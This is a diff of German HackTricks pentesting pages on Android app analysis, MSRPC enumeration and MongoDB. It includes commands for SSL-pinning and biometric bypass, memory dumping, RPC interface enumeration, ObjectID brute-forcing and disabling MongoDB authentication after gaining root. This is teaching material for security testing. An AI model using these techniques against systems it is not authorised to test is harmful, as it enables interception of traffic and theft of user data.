Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** (wenn ein Teil des Pfades als Domainname verwendet wird), **Accountübernahme** (wenn du die Benutzerdetails ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit verursachen kannst. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Account-Übernahme** (wenn du die Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
**Weitere Beispiele**
@ -444,9 +444,9 @@ Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) üb
### Transport Layer Inspektion und Verifizierungsfehler
* **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
* **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
* **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor der Abfangung durch böswillige Akteure.
* **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft.** Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
* **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
* **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über nicht sichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor der Abfangung durch böswillige Akteure.
#### Zertifikatsverifizierung
@ -460,14 +460,14 @@ SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzerti
Um HTTP-Verkehr zu inspizieren, ist es notwendig, **das Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**verweise auf dieses Tutorial**](make-apk-accept-ca-certificate.md).
#### Umgehung von SSL-Pinning
Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
* Automatisch **modifizieren** des **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
* Du könntest **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* Automatisch **modifiziere** die **apk**, um **SSL-Pinning zu umgehen** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
* Du könntest **Frida** verwenden (unten besprochen), um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt).
* Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an Burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
@ -501,7 +501,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep suchen:
Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep suchen:
{% code overflow="wrap" %}
```bash
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **Sensible Daten im Keystore**
In Android ist der Keystore der beste Ort, um sensible Daten zu speichern, jedoch ist es mit ausreichenden Berechtigungen immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer oder jemand mit physischem Zugriff auf das Gerät überprüfen, da diese Person in der Lage sein könnte, diese Daten zu stehlen.
In Android ist der Keystore der beste Ort, um sensible Daten zu speichern, jedoch ist es mit ausreichenden Rechten immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer oder jemand mit physischem Zugriff auf das Gerät überprüfen, da diese Person in der Lage sein könnte, diese Daten zu stehlen.
Selbst wenn eine App Daten im Keystore gespeichert hat, sollten die Daten verschlüsselt sein.
@ -531,11 +531,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
### **Hintergrundbilder**
Wenn Sie eine Anwendung in den Hintergrund setzen, speichert Android einen **Schnappschuss der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App geladen wird, sodass es so aussieht, als wäre die App schneller geladen worden.
Wenn Sie eine Anwendung in den Hintergrund setzen, speichert Android einen **Schnappschuss der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App, sodass es aussieht, als wäre die App schneller geladen worden.
Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese **Informationen stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
Die Schnappschüsse werden normalerweise unter: **`/data/system_ce/0/snapshots`** gespeichert.
Android bietet eine Möglichkeit, die **Screenshot-Erfassung zu verhindern, indem der FLAG\_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
```bash
@ -547,9 +547,9 @@ Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analy
### Intent Injection
Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Receiver, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Empfänger, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weiterleiten, was riskant sein kann.
Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem sie diese Intents fehlleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
### Wesentliche Erkenntnisse
@ -566,11 +566,11 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
* **JavaScript Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Informationen hier](webview-attacks.md#javascript-enabled).
* **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Informationen hier](webview-attacks.md#javascript-enabled).
* **Eternal cookies**: In mehreren Fällen, wenn die Android-Anwendung die Sitzung beendet, wird das Cookie nicht widerrufen oder könnte sogar auf der Festplatte gespeichert werden.
* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
* [**Secure Flag** in Cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -605,7 +605,7 @@ MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal
### Assisted Dynamic analysis with MobSF
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Hinweis: Sie müssen **zuerst eine VM in Genymotion starten** und **dann MobSF.**_\
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Hinweis: Sie müssen **zuerst eine VM in genymotion starten** und **dann MobSF.**_\
The **MobSF dynamic analyser** can:
* **Dump application data** (URLs, Logs, Zwischenablage, Screenshots, die von Ihnen gemacht wurden, Screenshots, die von "**Exported Activity Tester**" gemacht wurden, E-Mails, SQLite-Datenbanken, XML-Dateien und andere erstellte Dateien). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
@ -667,13 +667,13 @@ Dieses Tool verwendet einige **Hooks**, um Ihnen mitzuteilen, **was in der Anwen
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer GUI**
Dies ist ein **großartiges Tool zur Durchführung von statischer Analyse mit einer GUI**
![](<../../.gitbook/assets/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Dieses Tool wurde entwickelt, um nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
Dieses Tool wurde entwickelt, um nach mehreren **sicherheitsrelevanten Android-Anwendungsanfälligkeiten** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Anfälligkeiten auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -693,9 +693,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_ Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
Alle Regeln sind in einer `rules.json` Datei zentriert, und jedes Unternehmen oder Tester kann seine eigenen Regeln erstellen, um das zu analysieren, was sie benötigen.
Alle Regeln sind in einer `rules.json`-Datei zentralisiert, und jedes Unternehmen oder Tester kann seine eigenen Regeln erstellen, um das zu analysieren, was sie benötigen.
Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter.
```
@ -705,9 +705,9 @@ super-analyzer {apk_file}
![](<../../.gitbook/assets/image (297).png>)
StaCoAn ist ein **plattformübergreifendes** Tool, das Entwicklern, Bug-Bounty-Jägern und ethischen Hackern hilft, [statische Codeanalyse](https://en.wikipedia.org/wiki/Static\_program\_analysis) von mobilen Anwendungen durchzuführen.
StaCoAn ist ein **plattformübergreifendes** Tool, das Entwicklern, Bug-Bounty-Jägern und ethischen Hackern hilft, [statische Codeanalyse](https://de.wikipedia.org/wiki/Statische_Programm_Analyse) an mobilen Anwendungen durchzuführen.
Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen, und sie wird einen visuellen und tragbaren Bericht für Sie erstellen. Sie können die Einstellungen und Wortlisten anpassen, um ein individuelles Erlebnis zu erhalten.
Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen, und es wird ein visueller und tragbarer Bericht für Sie erstellt. Sie können die Einstellungen und Wortlisten anpassen, um ein individuelles Erlebnis zu erhalten.
Laden Sie [die neueste Version](https://github.com/vincentcox/StaCoAn/releases) herunter:
```
@ -735,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../.gitbook/assets/image (595).png>)
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das häufig verwendete Tools zur Reverse-Engineering und Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das häufig verwendete Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen für mobile Anwendungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
Es kann:
@ -762,7 +762,7 @@ ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der An
### [DexGuard](https://www.guardsquare.com/dexguard)
Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Dexguard-Betriebsmodus:
@ -810,7 +810,7 @@ AndroL4b ist eine Android-Sicherheitsvirtualmaschine, die auf ubuntu-mate basier
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

View file

@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -23,7 +23,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -40,13 +40,13 @@ Der RPC-Endpunkt-Mapper kann über TCP- und UDP-Port 135, SMB über TCP 139 und
```
## Wie funktioniert MSRPC?
Initiiert durch die Client-Anwendung, umfasst der MSRPC-Prozess den Aufruf einer lokalen Stub-Prozedur, die dann mit der Client-Laufzeitbibliothek interagiert, um die Anfrage an den Server vorzubereiten und zu übertragen. Dies beinhaltet die Umwandlung von Parametern in ein standardisiertes Network Data Representation-Format. Die Wahl des Transportprotokolls wird von der Laufzeitbibliothek bestimmt, wenn der Server remote ist, um sicherzustellen, dass das RPC durch den Netzwerk-Stack geliefert wird.
Initiiert durch die Client-Anwendung, umfasst der MSRPC-Prozess das Aufrufen einer lokalen Stub-Prozedur, die dann mit der Client-Laufzeitbibliothek interagiert, um die Anfrage an den Server vorzubereiten und zu übertragen. Dies beinhaltet die Umwandlung von Parametern in ein standardisiertes Network Data Representation-Format. Die Wahl des Transportprotokolls wird von der Laufzeitbibliothek bestimmt, wenn der Server remote ist, um sicherzustellen, dass das RPC durch den Netzwerk-Stack geliefert wird.
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
## **Identifizierung exponierter RPC-Dienste**
Die Exposition von RPC-Diensten über TCP, UDP, HTTP und SMB kann durch Abfragen des RPC-Standortdienstes und einzelner Endpunkte bestimmt werden. Tools wie rpcdump erleichtern die Identifizierung einzigartiger RPC-Dienste, die durch **IFID**-Werte gekennzeichnet sind und Details zu Diensten und Kommunikationsbindungen offenbaren:
Die Exposition von RPC-Diensten über TCP, UDP, HTTP und SMB kann durch Abfragen des RPC-Standortdienstes und einzelner Endpunkte bestimmt werden. Tools wie rpcdump erleichtern die Identifizierung einzigartiger RPC-Dienste, die durch **IFID**-Werte gekennzeichnet sind, und offenbaren Dienstdetails und Kommunikationsbindungen:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -71,7 +71,7 @@ Alle Optionen außer `tcp_dcerpc_auditor` sind speziell für das Targeting von M
* **Beschreibung**: LSA-Schnittstelle, verwendet zur Auflistung von Benutzern.
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
* **Benannte Pipe**: `\pipe\lsarpc`
* **Beschreibung**: LSA-Verzeichnisdienste (DS) Schnittstelle, verwendet zur Auflistung von Domänen und Vertrauensbeziehungen.
* **Beschreibung**: LSA Verzeichnisdienste (DS) Schnittstelle, verwendet zur Auflistung von Domänen und Vertrauensbeziehungen.
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
* **Benannte Pipe**: `\pipe\samr`
* **Beschreibung**: LSA SAMR-Schnittstelle, verwendet zum Zugriff auf öffentliche SAM-Datenbankelemente (z. B. Benutzernamen) und zum Brute-Forcen von Benutzerpasswörtern unabhängig von der Kontosperrpolitik.
@ -95,7 +95,7 @@ Alle Optionen außer `tcp_dcerpc_auditor` sind speziell für das Targeting von M
Mit [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), stammt von [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), ist es möglich, die _**ServerAlive2**_-Methode innerhalb der _**IOXIDResolver**_-Schnittstelle auszunutzen.
Diese Methode wurde verwendet, um Schnittstelleninformationen wie **IPv6**-Adressen von der HTB-Box _APT_ zu erhalten. Siehe [hier](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) für den 0xdf APT-Bericht, der eine alternative Methode mit rpcmap.py von [Impacket](https://github.com/SecureAuthCorp/impacket/) mit _stringbinding_ (siehe oben) enthält.
Diese Methode wurde verwendet, um Schnittstelleninformationen als **IPv6**-Adresse von der HTB-Box _APT_ zu erhalten. Siehe [hier](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) für den 0xdf APT-Bericht, der eine alternative Methode mit rpcmap.py von [Impacket](https://github.com/SecureAuthCorp/impacket/) mit _stringbinding_ (siehe oben) enthält.
### Ausführen eines RCE mit gültigen Anmeldeinformationen
@ -117,7 +117,7 @@ Das **rpcdump.exe** von [rpctools](https://resources.oreilly.com/examples/978059
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -125,7 +125,7 @@ Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Nachrichten und Einblicke
Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

View file

@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -23,16 +23,16 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
## Grundinformationen
**MongoDB** ist ein **Open-Source**-Datenbankmanagementsystem, das ein **dokumentenorientiertes Datenbankmodell** verwendet, um verschiedene Datenformen zu verarbeiten. Es bietet Flexibilität und Skalierbarkeit für die Verwaltung unstrukturierter oder semi-strukturierter Daten in Anwendungen wie Big Data-Analysen und Content-Management. **Standardport:** 27017, 27018
**MongoDB** ist ein **Open-Source**-Datenbankmanagementsystem, das ein **dokumentenorientiertes Datenbankmodell** verwendet, um verschiedene Datenformen zu verarbeiten. Es bietet Flexibilität und Skalierbarkeit für die Verwaltung von unstrukturierten oder semi-strukturierten Daten in Anwendungen wie Big Data-Analysen und Content-Management. **Standardport:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -108,17 +108,17 @@ Zum Beispiel, hier ist, wie wir eine tatsächliche Object ID, die von einer Anwe
3. 2500: Prozess-ID
4. 314019: Ein inkrementeller Zähler
Von den oben genannten Elementen bleibt der Maschinenidentifikator so lange gleich, wie die Datenbank auf derselben physischen/virtuellen Maschine läuft. Die Prozess-ID ändert sich nur, wenn der MongoDB-Prozess neu gestartet wird. Der Zeitstempel wird jede Sekunde aktualisiert. Die einzige Herausforderung beim Raten von Object IDs, indem man einfach die Zähler- und Zeitstempelwerte inkrementiert, ist die Tatsache, dass Mongo DB Object IDs generiert und auf Systemebene zuweist.
Von den oben genannten Elementen bleibt der Maschinenidentifikator so lange gleich, wie die Datenbank auf derselben physischen/virtuellen Maschine läuft. Die Prozess-ID ändert sich nur, wenn der MongoDB-Prozess neu gestartet wird. Der Zeitstempel wird jede Sekunde aktualisiert. Die einzige Herausforderung beim Raten von Object IDs durch einfaches Inkrementieren der Zähler- und Zeitstempelwerte ist die Tatsache, dass MongoDB Object IDs generiert und auf Systemebene zuweist.
Das Tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), gegeben eine Start-Object ID (Sie können ein Konto erstellen und eine Start-ID erhalten), sendet etwa 1000 wahrscheinliche Object IDs zurück, die möglicherweise den nächsten Objekten zugewiesen worden sein könnten, sodass Sie sie nur bruteforcen müssen.
Das Tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), gegeben eine Start-Object ID (Sie können ein Konto erstellen und eine Start-ID erhalten), sendet etwa 1000 wahrscheinliche Object IDs zurück, die möglicherweise den nächsten Objekten zugewiesen wurden, sodass Sie sie nur bruteforcen müssen.
## Post
Wenn Sie root sind, können Sie die **mongodb.conf** Datei **ändern**, sodass keine Anmeldeinformationen benötigt werden (_noauth = true_) und Sie sich **ohne Anmeldeinformationen anmelden** können.
Wenn Sie root sind, können Sie die **mongodb.conf**-Datei **ändern**, sodass keine Anmeldeinformationen benötigt werden (_noauth = true_) und Sie sich **ohne Anmeldeinformationen anmelden** können.
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -129,7 +129,7 @@ Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderun
Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Bleiben Sie informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
@ -139,7 +139,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>HackTricks unterstützen</summary>
<summary>Unterstützen Sie HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
